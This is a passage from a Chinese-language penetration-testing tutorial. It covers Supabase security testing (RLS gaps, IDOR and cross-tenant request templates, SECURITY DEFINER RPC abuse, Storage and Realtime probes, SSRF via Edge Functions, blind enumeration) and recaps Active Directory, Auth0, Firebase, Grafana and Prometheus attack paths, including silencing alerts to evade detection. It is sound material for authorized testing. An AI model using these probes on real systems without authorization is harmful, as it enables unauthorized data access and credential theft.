💡 Pro Tips:永远先指纹版本(/api/health/api/v1/status/buildinfo)——它决定 RCE vs 读 vs 侦察;暴露的 dashboard 从不是发现,枢纽才是——链到元数据凭证、后端凭证或 RCE 再报;Prometheus <secret> 脱敏不完整——在 /api/v1/status/configremote_write 里猎用户名与 URL 嵌入凭证;Grafana 经数据源代理替你查后端——不需要明文密码就能外泄;*_build_infokube_node_info 直接给你精确版本——转成 CVE 目标。

五、Supabase

Supabase 安全测试聚焦错误 scope 的 Row Level Security(RLS)、不安全 RPC、泄露的 service_role 密钥、宽松 Storage 策略、信任头部却不绑定 issuer/audience/租户的 Edge Functions。

5.1 攻击面与端点

数据访问:PostgREST(表 CRUD、过滤、embed、RPC);GraphQL(基于 Postgres schema 的 pg_graphql,与 RLS 交互);Realtime(复制订阅、broadcast/presence channel)。

存储:bucket、object、签名 URL、公开/私有策略。

认证:Auth(GoTrue,JWT、cookie/session、magic link、OAuth 流)。

服务端:Edge Functions(Deno,用 secret 调 Supabase 的服务端代码)。

端点:

  • REST:https://<ref>.supabase.co/rest/v1/<table>
  • RPC:https://<ref>.supabase.co/rest/v1/rpc/<fn>
  • Storage:https://<ref>.supabase.co/storage/v1
  • GraphQL:https://<ref>.supabase.co/graphql/v1
  • Realtime:wss://<ref>.supabase.co/realtime/v1
  • Auth:https://<ref>.supabase.co/auth/v1
  • Functions:https://<ref>.functions.supabase.co/

头部:apikey: <anon-or-service> 标识项目;Authorization: Bearer <JWT> 绑定用户上下文。

角色:anonauthenticated 标准角色;service_role 绕过 RLS,绝不可暴露给客户端。

关键原则:auth.uid() 从 JWT 返回当前用户 UUID。策略绝不能信任客户端提供的 ID 而非服务端上下文。

5.2 典型缺陷:Row Level Security

在每个非公开表启用 RLS;缺失或「全许可」策略 → 批量暴露。

常见缺口:策略对 SELECT 查 auth.uid() 却忘 UPDATE/DELETE/INSERT;缺租户约束(org_id/tenant_id)允许跨租户访问;策略依赖客户端提供的列(payload 里的 user_id)而非 JWT;复杂 join 中策略在过滤后应用,经计数推断。

测试:

# 两用户对比行计数 GET /rest/v1/<table>?select=*&Prefer=count=exact # 跨租户探针 GET /rest/v1/<table>?org_id=eq.<other_org> GET /rest/v1/<table>?or=(org_id.eq.other,org_id.is.null) # 写路径 PATCH /rest/v1/<table>?id=eq.<foreign_id> DELETE /rest/v1/<table>?id=eq.<foreign_id> POST /rest/v1/<table> with foreign owner_id

5.3 PostgREST/REST、RPC、Storage

过滤:eqneqltgtilikeorisin;embed 关系:select=*,profile(*)(若 resolver 跳过逐行检查则过度获取);搜索泄露:宽松 LIKE/ILIKE + 缺 RLS → 通配查询批量泄露。

头部:Prefer: return=representation(回显写);Prefer: count=exact(计数暴露);Accept-Profile/Content-Profile(选 schema)。

IDOR 模式:

/rest/v1/<table>?select=*&id=eq.<other_id> /rest/v1/<table>?select=*&slug=eq.<other_slug> /rest/v1/<table>?select=*&email=eq.<other_email>

批量赋值:不用 RPC 时 PATCH 可更新非预期列;经数据库权限/策略验证受限列。

RPC 函数:RPC 端点映射到 SQL 函数。SECURITY DEFINER 除非小心编码否则绕过 RLS;SECURITY INVOKER 尊重调用者。

反模式:SECURITY DEFINER + 缺归属检查 → 纵向/横向绕过;set search_path 留 public,函数解析不安全对象;信任客户端 user_id/tenant_id 而非 auth.uid()

测试:不同用户带外国 ID 调 RPC POST /rest/v1/rpc/<fn> {"user_id": "<foreign_id>"};完全移除 JWT Authorization: Bearer <anon_token>,验证函数在 SQL 内显式做归属/租户检查。

Storage:公开 vs 私有;storage.objects 里带类 RLS 策略的 object。错配:公开 bucket 存敏感数据 GET /storage/v1/object/public/<bucket>/<path>;无认证列前缀 GET /storage/v1/object/list/<bucket>?prefix=;签名 URL 跨租户/路径复用。Content-Type 滥用:上传 HTML/SVG 以 text/html/image/svg+xml 提供,验 X-Content-Type-Options: nosniffContent-Disposition: attachment。路径混淆:混合大小写、URL 编码、.. 段在 UI 被拒但 API 接受——测客户端校验与服务端处理的规范化差异。

5.4 Realtime、GraphQL、Auth/Token、Edge Functions

Realtime(wss://<ref>.supabase.co/realtime/v1):RLS 或 channel guard 弱时,从 table/schema/filter 派生的 channel 名泄露他人更新;broadcast/presence channel 允许无认证跨 room join/publish。测:订阅受保护表的 public:realtime 变更,确认可见性与 RLS 一致;尝试加入他人 channel room:<user_id>org:<org_id>

GraphQL(/graphql/v1,pg_graphql 配 RLS):introspection 揭示 schema 关系;经 resolver 跳过逐行归属检查的嵌套关系过度获取;泄露的 global node ID 经不同 viewer 复用。测:同 principal 与查询形态对比 REST vs GraphQL 响应;查深层嵌套字段,验证每条边的 RLS。

Auth/Token:GoTrue 签发带 claim 的 JWT(sub=uidroleaud=authenticated)。验证要求:issuer、audience、过期、签名、租户上下文。陷阱:token 存 localStorage → XSS 外泄;把 apikey 当身份(它是项目级,非用户身份);在客户端 bundle 或 Edge Function 响应暴露 service_role 密钥;refresh token 管理不善导致超预期 TTL 的长会话。测:跨服务/项目重放 token,查 audience/issuer 钉死;用降级 token(过期/其他 audience)打自定义端点。

Edge Functions:Deno 函数常用 service_role 初始化 Supabase client。风险:信任 Authorization/apikey 头却不验 JWT 的 issuer/audience;CORS:通配 origin 带凭证;响应反射 Authorization;经 fetch 的 SSRF;错误 trace/日志暴露 secret。测:带/不带 Authorization 调函数对比行为;payload 用外国资源 ID,验证服务端从 JWT 重新派生用户/租户;经 function fetch 尝试达内部端点(元数据服务)。

租户隔离:确保每个查询 join 或过滤从 JWT 上下文派生的 tenant_id/org_id,而非客户端输入。测:保持 JWT 租户不变,变子域/头/路径租户选择器;导出/报表端点确认查询在调用者 scope 下执行。

5.5 绕过、盲枚举与验证

绕过:content-type 切换(application/jsonapplication/x-www-form-urlencodedmultipart/form-data);参数污染(JSON/查询里重复 key,PostgREST 按 parser 选最后/最前);GraphQL+REST 对等探测(保护常漂移,走更弱路径);竞态窗:并行写绕过插入后归属更新。

盲枚举:用 Prefer: count=exact 与 ETag/长度差推断非授权行;条件请求(If-None-Match)检测对象存在;Storage 签名 URL:时序/长度 delta 映射有效 vs 无效 token。

验证:REST/GraphQL 的归属者 vs 非归属者请求展示非授权访问(内容或元数据);错配 scope 的 RPC 或 Storage 签名 URL 可被其他用户/租户使用;Realtime 或 GraphQL 暴露匹配缺失策略检查;最小可复现请求,记录角色上下文。

💡 Pro Tips:service_role 密钥一旦进客户端 bundle 就等于数据库全权——它在 GitHub/前端 JS 里是高频泄露;SECURITY DEFINER RPC 是 Supabase 的 IDOR 高发区,默认绕过 RLS;apikey 不是身份,Authorization: Bearer <JWT> 才是;永远 REST + GraphQL 双路径测,保护常在两者间漂移;Prefer: count=exact 是盲推断利器。

本节要点回顾

  1. AD 是图问题:从有效凭证出发,BloodHound 找路径,链式利用错配(可烤账户、委派标志、vulnerable 证书模板、强制+中继、宽松 DACL)直到 DCSync 或伪造票据;身份层(Kerberos/LDAP/NTLM/SMB/AD CS)才是域的命门。
  2. AD 高产路径:AS-REP roasting(无需凭证)、Kerberoasting、certipy find -vulnerable(常是最短路径)、Shadow Credentials(有写权限时优于改密)。
  3. Auth0 双层:租户配置(callback、MFA、Rules/Actions 注入)+ 下游 API token 校验(aud/scope/permissions/org_id);完美的 Universal Login 会被「API 不强制 scope」毁掉。
  4. Firebase 心法:rules 不是过滤器——allow read: if request.auth != null 把「已认证」等同「授权」;REST 复测 SDK;onCallcontext.auth,onRequest 不给;App Check 不是授权。
  5. Grafana 是枢纽引擎:不是端点——数据源代理 SSRF(需先建指向目标的 DS)、grafana.dbsecret_key 解密、CVE-2021-43798 任意文件读、CVE-2024-9264 RCE(需 duckdb)。
  6. Prometheus 暴露即漏洞:默认无认证;<secret> 脱敏不完整,猎用户名与 URL 嵌入凭证;metrics 是内网拓扑与精确版本的侦察金矿;Alertmanager 可静默告警做检测规避。
  7. Supabase RLS:每表必启;策略对 SELECT 查 auth.uid() 却忘 UPDATE/DELETE 是高频缺口;SECURITY DEFINER RPC 绕 RLS;service_role 密钥进客户端 = 全权。
  8. 共性心法:第三方服务的漏洞形态是「服务特有的错误配置」——AD 的 SPN/证书模板、Auth0 的 callback/Rules、Firebase 的 rules、Grafana 的数据源代理、Supabase 的 RLS。通用漏洞扫描器看不到这些,专项知识才能命中。
  9. 误报警觉:机器账户 SPN 不可烤、certipy 标记但注册权排除你、Prometheus <secret> 已脱敏、Grafana demo 实例的合成数据——都要降级。
  10. 验证标准:展示精确错配(配置项/标志/ACE)+ 获得的权限(破解哈希/证书/凭证)+ 完整链条(立足点 → 边 → 提权 → 结果),把影响绑到具体身份而非「服务配错了」。

下一节进入协议层——GraphQL 与 OAuth 2.0/OIDC。GraphQL 的 resolver 级鉴权、batching 滥用、federation 信任边界,OAuth 的 redirect 操纵、token 泄露、PKCE 绕过,都是协议特有的攻击面。


发布者: 作者: 灏天文库 转发
评论区 (0)
U